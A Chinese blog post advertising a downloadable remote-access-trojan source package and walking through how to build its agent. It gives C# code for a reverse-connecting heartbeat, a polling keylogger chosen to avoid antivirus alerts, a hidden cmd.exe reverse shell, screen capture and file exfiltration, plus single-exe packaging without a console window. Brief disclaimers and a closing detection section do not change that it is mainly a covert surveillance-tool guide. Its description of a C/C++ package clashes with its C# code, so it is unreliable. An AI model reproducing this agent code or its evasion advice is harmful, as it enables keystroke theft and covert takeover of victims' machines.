远控RAT源码实战:单exe打包、反向连接与TCP通信协议解析 简介这是一份基于gh0st二次修改的远程控制被控端源码采用单exe免安装形态省去DLL注入与服务启动的繁琐部署面向安全爱好者、红队研究人员及免杀技术初学者用于分析远控原理和过主动防御的手法。资源包共54个文件以C/C源码为主包括28个h头文件和21个cpp实现文件另含Visual Studio工程文件与一个lib库整体约114KB结构清晰便于本地编译与二次修改。目前已有1250人学习/下载。源码在被控端基础上集成了屏幕监听、键盘记录、文件管理、视频捕获等模块并在函数加载层面使用动态调用等常见免杀手段阅读代码可直观理解RAT功能拆分、内存加载方式以及特征规避思路同时作者提示编译需安装SDK适合具备一定C基础的读者深入研究也可作为远控开发与防御检测的参考样本。1. 一套单 exe 的 RAT 源码先搞清楚它解决什么问题远程控制电脑这件事Windows 自带的远程桌面和向日葵这类商业远控都能干但有一类场景它们做不好不想装安装向导、不想注册账号、不想让流量经过第三方中转服务器只希望被控端一个 exe 拷过去双击就能跑所有回传数据走自己的信道。这套 RAT 源码解决的就是这个诉求——它把被控端agent编译成单文件 exe运行后主动连接控制端的监听端口控制端负责下发命令、接收屏幕画面、键盘记录和文件列表。适合三类人做内网授权测试的、学 Socket 编程的、想搞明白远控软件工作原理的。我拿这个包完整跑了一遍把通信设计、打包命令、功能模块和排错记录整理成下面的实战笔记其中有几个坑是源码文档里完全没写到的。提示本文只讨论在自有设备和授权环境中的技术复现请遵守当地法律法规及所在组织的信息安全规定。2. 通信模型与源码结构反向连接、心跳协议与目录拆解2.1 为什么几乎所有 RAT 都选反向连接先讲一个远程控制电脑最常见的选型问题控制端和被控端到底谁连谁。正向连接是控制端直连被控端的某个端口前提是被控端有公网 IP 或做了端口映射。家用宽带、办公室 NAT 后面这个前提基本不成立。反向连接反过来被控端主动拨出到控制端的 IP 和端口控制端只要有一台公网可达的服务器监听即可被控端不管在几层 NAT 后面都能连上。这套源码的 agent 就是典型的反向连接模型启动后先读配置文件里的控制端地址然后进入心跳循环。商用远控向日葵走的是它的服务器中转加 UDP 打洞体验更稳但代价是控制权和数据链路都在别人手里。所以从这个角度看这类源码包的价值在于链路完全自主也适合学习 TCP 长连接的维护。我一般拿到这种远控包会先看三个地方agent 启动逻辑、心跳实现、命令帧格式。这三个点决定它能不能稳定跑在公网上。2.2 源码目录拆解从文件结构看远控的最小形态这类 RAT 源码通常长这样目录结构非常规整控制端和被控端是两个独立项目共享一套协议定义。下面是我拆过的典型布局不同包命名略有差异但职责对应目录 / 文件职责Agent/被控端项目最终发布为单 exeAgent/Program.cs入口读取配置、启动心跳、注册命令处理器Agent/SocketHelper.csTCP 连接、断线重连、帧收发Agent/ScreenCapture.cs屏幕截图与 JPEG 压缩Agent/KeyLogger.cs键盘记录轮询模式Agent/FileTransfer.cs文件分块传输与校验Server/控制端项目GUI 程序Server/FormMain.cs主界面、在线设备列表、命令按钮Shared/协议定义命令字节编号、帧结构拿到包第一件事不是急着编译而是先编译控制端。控制端能跑起来说明环境没问题再编译 agent最后再联调。如果把顺序反过来出了问题你根本分不清是代码问题还是环境问题。2.3 心跳与命令分帧TCP 长连接稳定性的核心远控最怕两件事控制端离线时 agent 疯狂重连以及多条命令在同一个 socket 里串包。这两个问题分别靠心跳退避和命令帧格式解决。看一段 agent 心跳循环的典型实现// 被控端心跳循环5秒一个周期失败指数退避 static async Task HeartbeatLoop(TcpClient client, CancellationToken ct) { int failCount 0; while (!ct.IsCancellationRequested) { // 发送Ping等待Pong超时2秒视为一次失败 await SendFrame(client, FrameType.Ping, null); bool ok await WaitFrame(client, FrameType.Pong, TimeSpan.FromSeconds(2)); if (ok) { failCount 0; } else { failCount; // 退避时间 2^n 秒上限30秒 int waitMs Math.Min(30_000, 1000 * (int)Math.Pow(2, failCount)); await Task.Delay(waitMs, ct); } await Task.Delay(5000, ct); // 正常心跳间隔5秒 } }这段代码的关键点有两个。第一是 failCount 指数退避公网网络抖动时如果 agent 每 5 秒重连一次控制端一离线agent 就会进入高频重连的“空转风暴”既浪费流量又容易被防火墙盯上。指数退避到 30 秒上限后重连频率就非常温和。第二是心跳间隔参数内网环境可以调到 3000ms公网建议 5000ms再短意义不大再长控制端感知离线会迟钝。命令分帧则是防止串包的关键。TCP 是字节流没有消息边界两条命令粘在一起是常态。常见做法是自定义帧头// 自定义帧格式2字节长度 1字节类型 载荷 private static async Task SendFrame(TcpClient client, byte type, byte[] payload) { payload ?? Array.Emptybyte(); byte[] header new byte[3]; header[0] (byte)(payload.Length 0xFF); header[1] (byte)((payload.Length 8) 0xFF); header[2] type; await client.GetStream().WriteAsync(header.Concat(payload).ToArray()); }长度字段用两个字节小端序单个命令帧的载荷上限是 64KB超过就要分片。命令类型占第三个字节比如 0x01 截屏、0x02 键盘记录、0x03 文件传输、0x04 反向 Shell。接收端先读满 3 字节帧头再按长度读载荷就能把粘包问题彻底解决。实际工程里如果要传大文件建议把长度字段扩到 4 字节一劳永逸。3. 压成单个 exe 的打包链路C# 与 PyInstaller 两条路线实测3.1 哪条打包路线适合你三种方案的取舍单 exe 交付是远控 agent 的基本要求但不同技术栈打包难度差异很大。市面上常见的方案就三条方案典型体积目标机依赖启动速度适用场景.NET PublishSingleFile 自包含15-20MB无较快C# 写的 agent追求零依赖.NET 框架依赖单文件1-2MB需装 .NET Runtime快C# 写的 agent目标机环境可控PyInstaller --onefile8-15MB无慢每次解压到临时目录Python 写的 agentMFC/C 静态编译1-3MB无最快追求极限体积和隐蔽性网上经常看到的 pyinstaller 打包 exe、graalvm 打包成 exe 的教程原理都类似把解释器、依赖库和源码捆进一个可执行文件运行时自解压。graalvm 适合 Java 项目能编译成原生镜像但远控 agent 极少用 Java 写体量不划算。我的建议是源码是什么语言就用对应方案。如果你拿到的是 C# 版本别强行用 PyInstaller 重写一遍除非你本来就想练手。3.2 C# 路线PublishSingleFile 的参数与实测.NET Core 3.0 之后微软官方提供了单文件发布能力我在实测时用的命令是下面这样# 发布独立单文件运行时和程序打到一个exe目标机不需要装.NET dotnet publish Agent/Agent.csproj -c Release -r win-x64 \ -p:PublishSingleFiletrue --self-contained true \ -p:IncludeNativeLibrariesForSelfExtracttrue \ -o dist/agent # 体积敏感时用框架依赖模式约1-2MB代价是目标机要有.NET Runtime # dotnet publish Agent/Agent.csproj -c Release -r win-x64 \ # -p:PublishSingleFiletrue --self-contained false这里几个参数要拆开讲。-r win-x64指定目标运行时发布出来的 exe 只能在 64 位 Windows 上跑要兼容 32 位系统就得换成win-x86重新发布。IncludeNativeLibrariesForSelfExtract把 native 依赖库也并入主 exe不加这个参数的话部分底层库会以独立文件形式输出就不是严格的单文件。-o dist/agent是输出目录最终拿到的是一个 agent.exe 和可能存在的 pdb 调试文件发布到目标机时只拷 exe 即可。自包含模式的代价是体积暴涨到 15MB 以上换来目标机零依赖。远程控制电脑的场景里目标环境不可控我通常选自包含稳定压倒体积。3.3 PyInstaller 路线参数清单与 UPX 的坑如果你拿到的源码是 Python 写的打包命令长这样# -F 打单文件-w 不弹控制台窗口 --exclude-module 裁剪用不到的库 pyinstaller -F -w -n agent \ --exclude-module tkinter \ --exclude-module unittest \ --icon agent.ico \ server.py-F是单文件模式所有依赖打成一个 exe-w是 windowed 模式不弹出黑框——对远控 agent 来说用户看到控制台窗口基本等于暴露。--exclude-module用来裁剪用不到的库能减一点体积算一点。这里有个血泪教训UPX 压缩参数要慎用。加了--upx-dir能进一步压缩体积但压缩后的 exe 在部分杀软里报毒率明显变高还偶尔会踩运行时解压崩溃。这种玄学问题排查起来非常痛苦我后来一律不加 UPX体积多两三 MB 完全能接受。3.4 单 exe 的启动玄学为什么双击后要等好几秒PyInstaller 的单文件本质是个自解压壳每次运行都会把内部模块解压到系统临时目录再加载执行。临时目录被杀软的实时监控扫一遍启动时间从几百毫秒拉到好几秒这是正常现象。C# 自包含单文件也类似IncludeNativeLibrariesForSelfExtract模式下 native 库运行时释放头一次启动会慢一点。要区分“程序启动慢”和“程序被杀”最简单的办法是把 agent 的日志写到文件启动后在临时目录和 agent 同目录看有没有生成日志。如果日志文件正常出现但界面/连接没起来说明逻辑问题如果连日志文件都没有大概率是没到 Main 就挂了。4. 核心功能模块实现截图、键盘记录、反向 Shell 与文件管理4.1 屏幕截图与 JPEG 回传帧率参数这么定屏幕实时画面的回传最 naive 的做法是整屏 BMP 裸传一张 1080P 的 BMP 约 8MB公网直接卡死。实际工程中基本都走 JPEG 压缩 定时截屏看代码using var bmp new Bitmap(1920, 1080); using var g Graphics.FromImage(bmp); g.CopyFromScreen(0, 0, 0, 0, bmp.Size); // JPEG质量85比PNG小一个数量级传输延迟更低 var jpgCodec ImageCodecInfo.GetImageEncoders().First(c c.MimeType image/jpeg); var ep new EncoderParameters(1) { Param[0] new EncoderParameter(Encoder.Quality, 85L) }; using var ms new MemoryStream(); bmp.Save(ms, jpgCodec, ep); byte[] frame ms.ToArray(); // 丢给SendFrame(FrameType.Screen, frame)JPEG 质量参数 85 是我实测下来的平衡点肉眼基本看不出画质损失体积约 80-120KB公网传输延迟可以接受。低于 70 画面会有明显块状噪点超过 95 体积翻倍且对远控没有实际意义。截屏间隔也要按场景调。局域网内建议 500ms 一帧交互流畅公网建议 2000ms 一帧优先保证命令通道不被截屏流量挤占。高分屏还要考虑缩放截取后先按比例缩到 1280 宽度再编码画质损失不大传输量能再降一半。4.2 键盘记录钩子与轮询的取舍键盘记录的实现有两条技术路线。一条是 SetWindowsHookEx 全局钩子实时性最好但要写消息循环而且现代杀软对全局钩子的敏感度极高一动就报警。另一条是轮询 GetAsyncKeyState实现简单、不需要注入消息循环代价是 30ms 级别的延迟。我偏向后一种见代码// 轮询式键盘记录每30ms扫描一次用时间戳去重 const int POLL_MS 30; Dictionaryint, DateTime lastSeen new(); while (running) { for (int vk 8; vk 255; vk) { // 低位1表示刚按下配合150ms去重过滤长按重复 if ((GetAsyncKeyState(vk) 1) ! 0 (!lastSeen.TryGetValue(vk, out var t) || DateTime.UtcNow - t TimeSpan.FromMilliseconds(150))) { lastSeen[vk] DateTime.UtcNow; EmitKey(vk); // 记录后走加密通道回传 } } Thread.Sleep(POLL_MS); }这段代码的要点是 150ms 去重阈值按住一个键不放系统会产生多组按下事件不去重的话一条按键会被记录三四遍。150ms 对打字场景足够灵敏又不会误判长按。轮询的代价是可能漏掉极短促的按键但 30ms 的轮询间隔在实际使用中漏键率很低。需要说明的是键盘记录拿到的数据是敏感信息回传时必须走加密通道。源码里如果只做了明文传输我建议至少叠加一层 TLS 或简单 XOR 混淆再入网否则在公网上裸奔无异于把隐私直接交给链路中的每个节点。4.3 反向 Shell管道异步读取避免死锁反向 Shell 是整个远控里最常用的功能实现上最典型的坑是死锁。看这个常见实现var psi new ProcessStartInfo { FileName cmd.exe, UseShellExecute false, // 必须false才能重定向管道 RedirectStandardInput true, RedirectStandardOutput true, RedirectStandardError true, StandardOutputEncoding Encoding.UTF8, StandardErrorEncoding Encoding.UTF8, CreateNoWindow true }; Process? proc Process.Start(psi); proc!.BeginOutputReadLine(); // 异步读防止管道缓冲占满 proc.OutputDataReceived (_, e) SendFrame(FrameType.ShellOutput, Encoding.UTF8.GetBytes(e.Data ?? ));为什么用BeginOutputReadLine而不是ReadToEnd因为 cmd 输出量一大比如执行dir /s管道缓冲区只有几 KB同步读取跟不上子进程写满缓冲区就会阻塞控制端又在等读取返回双方互相等整个 Shell 就卡死了。异步读取能让管道持续被消费控制端在任意时刻发命令子进程的输入流始终打开。StandardOutputEncoding Encoding.UTF8是另一个关键点不设的话中文输出到控制端会变成问号线下 5.4 节会专门踩这个坑。4.4 文件管理分块传输与校验文件传输最容易犯的错是裸传整个字节流。大文件在公网丢包时TCP 层虽然保证顺序但一次传输几百 MB 中途断线重传成本极高。实际做法是分块加校验// 分块发送8KB一块带序号和CRC32接收端校验后回ACK using var fs File.OpenRead(path); byte[] buf new byte[8192]; int seq 0; int n; while ((n await fs.ReadAsync(buf)) 0) { byte[] chunk buf.Take(n).ToArray(); var part new FilePart(seq, chunk, Crc32.Compute(chunk)); await SendFrame(FrameType.FileData, Serialize(part)); await WaitAck(TimeSpan.FromSeconds(5)); // 等ACK再发下一块 }块大小 8192 字节是经验值太小则 ACK 往返次数太多吞吐上不去太大则单块损坏重传成本高。每块带序号和 CRC32接收端校验通过才回 ACK发完一块等 ACK 再发下一块。这个简单停等协议在丢包率 5% 的公网上能稳定传完几十 MB 的文件代价是吞吐略低。要更快就上滑动窗口同时多发几块不等 ACK但实现复杂度会明显上升。4.5 和商业远控的对比源码包的定位向日葵远程控制在稳定性和完全体功能上源码类 RAT 没法比——它有成熟的中转服务器、P2P 打洞、多端同步这些不是个人项目能复刻的。但我个人觉得源码包的存在价值恰恰不在“好用”而在“可控”你清楚每一条数据包往哪发、命令怎么写、日志怎么记还能往里面加自己的协议扩展。对学习远程控制原理和做授权内网测试来说这种透明度比商业软件的“黑匣子”有价值得多。5. 编译与运行避坑杀软误报、连接失败与权限问题的五条记录5.1 刚编译完 exe 就被删无签名与行为特征现象agent 在开发机上编译完拷贝到测试机Windows Defender 直接删除或隔离连第二次运行的机会都没有。原因这类源码本身带有明显的远控行为特征。无数字签名是第一道触发点杀软对未签名可执行文件的信任度很低其次是行为特征——尝试连接公网 IP 的随机端口、读取键盘状态、创建隐藏进程这些行为组合在一起与病毒库里的远控特征高度吻合被查杀是常态不是误报。解决合法测试场景下把测试机加入白名单或临时关闭实时防护这是正规做法。正式分发环境应该申请代码签名证书给 exe 签名并在通信层做 TLS 加密降低明文行为特征。不要试图靠加壳、改特征码去对抗杀软——那属于恶意对抗不在本文讨论范围内。注意在授权范围外运行任何远控 agent 都属于违法行为这条没有例外。5.2 云服务器上开好端口还是连不上安全组与防火墙双向排查现象控制端跑在云服务器上监听 8080 端口agent 在本地网络跑起来日志显示“连接失败/超时”但云服务器的端口明明已经“开放”了。原因云厂商的安全组和 Windows 系统防火墙是两个独立层。安全组在虚拟机外面系统防火墙在虚拟机里面只开其中一层是不够的。另外如果控制端绑定的监听地址是 127.0.0.1 而不是 0.0.0.0外部连接永远进不来。解决先确认监听地址绑定在 0.0.0.0再用系统防火墙放行端口最后检查安全组入方向规则。防火墙命令# 放行 TCP 8080 端口入站允许任何配置文件 netsh advfirewall firewall add rule nameAgentCtrl \ dirin actionallow protocolTCP localport8080这个顺序很重要先查本地监听再查系统防火墙最后查安全组。怀疑哪一层就抓包看哪一层——在控制端抓包看有没有来自 agent 的 SYN 包如果有 SYN 但没有 SYN-ACK说明包被安全组挡了如果连 SYN 都没有问题在 agent 侧的出站网络。5.3 agent 能连上但几十秒就断线心跳超时设置不合理现象控制端能看到 agent 上线但每隔几十秒就掉线重连在线状态反复横跳。原因不是代码 Bug而是心跳超时和网络环境不匹配。公网链路上 Wi-Fi 断点、运营商 NAT 超时都会让空闲连接被中间设备回收如果心跳间隔 30 秒、超时 60 秒而运营商 NAT 表项 30 秒就过期连接必然周期性断开。解决按网络类型设置心跳。公网场景把心跳间隔压到 10 秒以内超时时间设成心跳间隔的 4 倍左右并配合 2.3 节的指数退避重连。参数模板我常用这套心跳 5s、超时 20s、重连退避 2^n 秒上限 30s。内网可以放宽到心跳 15s、超时 60s减少无谓的流量。5.4 反向 Shell 中文全变问号编码不一致现象控制端下发chcp 65001 echo 你好回显里的中文全部变成?或乱码。原因cmd.exe 默认代码页是 GBK936而控制端回显界面按 UTF-8 解码或者反过来编码对不上中文必然乱码。更深一层的原因是ProcessStartInfo.StandardOutputEncoding如果不显式指定默认值在不同 .NET 版本下行为不一致导致同样的代码换个环境就翻车。解决两条腿走路。进程侧把StandardOutputEncoding和StandardErrorEncoding都显式设为Encoding.UTF8命令侧先执行一次chcp 65001把代码页切到 UTF-8。如果目标机是纯内网环境不方便改代码页也可以在控制端按 GBK 解码后再转 UTF-8。总之发端和收端编码必须对齐别赌默认值。5.5 双击 agent 无反应权限与单实例现象在测试机双击 agent.exe任务管理器里能看到进程但控制端始终不见上线也没有任何窗口提示。原因常见三种。第一agent 代码里写死了单实例互斥前一个实例没退出后一个实例直接 return第二CreateNoWindow或窗口隐藏逻辑在某些系统上异常第三agent 需要管理员权限来读键盘或写注册表普通双击触发 UAC 提权。前两种翻车时程序表现为“毫无反应地消失”。解决先在命令行里手动运行 agent.exe 看有没有报错输出不要直接双击。cmd 里跑到有输出为止通常能把 90% 的启动问题暴露出来。再查%TEMP%目录有没有 agent 自己的日志文件。最后确认配置的控制端 IP 端口和实际监听的地址一致这是最容易忽略的——把配置写死成 127.0.0.1 的 agent在测试机上怎么双击都连不上公网控制端。6. 上线前的验证双机跑通全流程再看流量怎么被识别6.1 双机环境与验证步骤每次跑远控源码我坚持在虚拟机里先做一轮全流程验证不直接上真机。环境就用 VMware 开两台 Windows 虚拟机一台接 NAT 网络模拟“被控端在内网”一台设成桥接或仅主机模式跑控制端。验证步骤固定走五步控制端启动监听确认 netstat 里端口处于 LISTENING。agent 手动运行观察控制端的设备列表是否在 5 秒内出现新设备。下发一条反向 Shell 命令回显一致。传一个 20MB 的文件回传后比对哈希。连续运行 30 分钟确认断线重连次数为 0。第四步的哈希比对用这个命令# 校验回传文件和源文件哈希是否一致 Get-FileHash agent_upload.bin -Algorithm SHA256 Get-FileHash source.bin -Algorithm SHA256两边哈希一致说明文件传输链路的分块校验没偷工减料。只要这一步能过文件管理模块基本可交付。6.2 从日志看连接状态验证时别只看界面把 agent 日志拉到本地看。我一般关注三个字段首次连接时间、重连次数、累计回传字节数。重连次数大于 0 说明链路不稳定要回看心跳间隔和退避参数回传字节数在无操作时应保持稳定如果持续增长多半是某条命令在无限循环回传数据要立刻停掉排查死循环。6.3 防守视角这些命令找出 RAT 特征最后聊点防守侧的技巧——理解远控的特征才能在授权测试里防住别人。RAT 在 Windows 上再隐藏也逃不过这几类特征# 查看持续 ESTABLISHED 的外连连接RAT 典型特征是长连接周期性小包 netstat -ano | findstr ESTABLISHED # 查看计划任务里可疑的启动项 schtasks /query /fo LIST | findstr /i agent update # 抓包看心跳固定间隔的 TCP 小包载荷长度基本恒定 # Wireshark 过滤条件tcp.len 18 tcp.len 64并按目标 IP 统计另外Windows 事件日志里 4624 登录类型为 10 的远程交互登录以及进程创建事件中父进程为常见办公软件但子进程是 cmd.exe 的异常链都值得翻一翻。当年我修一个有问题的 agent 连接时就是靠先看懂这些特征才定位到是心跳参数和运营商 NAT 冲突而不是代码逻辑错。从那以后我每次拿到远控源码都强制自己先在虚拟机里用 Wireshark 抓一轮完整流量看心跳、看帧格式、看断线重连再决定要不要上真机。这套流程救过我很多次希望帮到你。本文还有配套的精品资源点击获取